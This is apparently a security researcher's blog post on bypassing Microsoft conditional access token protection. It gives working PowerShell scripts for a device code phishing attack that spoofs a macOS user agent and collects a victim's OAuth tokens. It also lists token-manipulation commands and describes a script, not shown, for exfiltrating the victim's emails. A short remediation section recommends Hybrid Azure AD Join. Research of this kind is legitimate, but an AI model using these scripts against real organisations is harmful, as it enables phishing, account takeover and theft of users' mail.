Updated: Bypassing Microsoft Token Protection

rootsecdev
5 min readMay 10, 2023

So very recently I wanted to look at token protection mechanisms that Microsoft recently put into preview. You can find documentation on how to build conditional access policies below:

So a few things to take note of and expected limitations at the time of this writing.

The following applications don’t support signing in using protected token flows and users are blocked when accessing Exchange and SharePoint:

- PowerShell modules accessing Exchange, SharePoint, or Microsoft Graph scopes that are served by Exchange or SharePoint

Digging into the configuration further it is recommended that you apply this to only Windows platforms.

So part of the issue here is around platform filtering. Device platform filter has been a significant conditional access feature that I’m still concerned about enterprises using because it can be prone to mis-configuration.

Failed attack flow 1:

Device code phishing request initiated from a non domain joined Windows device > user on domain joined device attempts to complete request > Failed attempt

Conditional access policies appropriately blocks this attack chain completion with the following message:

Attack Flow 2:

Send Graph request from non domain joined windows machine > Ensure header is set to macos or another non windows agent of your choice > Send device code phishing request to the end user

To get started with this attack flow I chose a graph request from the Azure hound wiki. The wiki and powershell reference can be found below:

Initiating device code request from a non windows domain joined machine with powershell ise (pay attention to the user agent with this request):

$body = @{
"client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
"resource" = "https://graph.microsoft.com"
}
$UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"
$Headers=@{}
$Headers["User-Agent"] = $UserAgent
$authResponse = Invoke-RestMethod `
-UseBasicParsing `
-Method Post `
-Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" `
-Headers $Headers `
-Body $body
$authResponse

Once the user responds they should see something similar to this message on the domain joined device that is responding to the request:

Now back on the attacker machine complete the request and collect your tokens with the following powershell script in your existing powershell ise session:

$body=@{
"client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
"grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
"code" = $authResponse.device_code
}
$Tokens = Invoke-RestMethod `
-UseBasicParsing `
-Method Post `
-Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" `
-Headers $Headers `
-Body $body
$Tokens

and viola.. you have some tokens:

I included the device state when getting refresh token responses because I thought it was important to emphasize this attack chain from a completely unauthenticated device that was not joined to Azure AD or Hybrid Azure AD Join. So as long as you are passing the token around from something other than windows or manipulating your user agent to a non windows device. You should be good to go.

5/10/23 Update:

So lets explore some solid attack chain use with the JWT manipulation toolset. Feel free to use either of these versions. They are both solid work from Steve Borosh and @fabian_bader

Before I begin. I was not aware these toolsets appear to work with Ubuntu and PowerShell. So Windows is not your only option.

First and foremost start with getting a device code going along with using a device switch for a Mac agent.

Get-AzureToken -client MSGraph -Device Mac

Once you have your token back from the end user that accepted the device code that has Token Protection turned on in conditional access you should be good to go with email exfiltration.

Next what you will need to do is get your access token in a single line. So issue the following command with your domain:

RefreshTo-MSGraphToken -domain domain.local

Then pump out that access token in a single line:

$MSGraphToken.access_token

Everything in the end should look something like this:

Next what you can do is using a python script that I created and start exfiltrating emails:

You will need to modify the script and populate your access token into it. Then you should be good to go. Please note this script will only exfiltrate HTML based emails in the inbox which should give you decent coverage on exfiltration. Example is below:

Remediation

At this moment the best remediation against any sort of token theft in my humble opinion is Hybrid Azure AD Join. In conditional access templates under the remote work section, there is an option to require a compliant or hybrid azure ad joined device for admins.

The template just requires a slight modification from admins to your end user base. This should be taken with care because hybrid azure ad join requires enablement in Azure AD Connect and admins need to ensure all their devices are hybrid joined in Azure AD

Personally seeing a conditional access statement like this blocks a lot of unauthenticated attacks if you require it for all your cloud workloads. It will require an attacker to pivot from a workstation device operating on an internal domain. So if you want to mitigate token theft….for now do Hybrid Azure AD Join.

--

--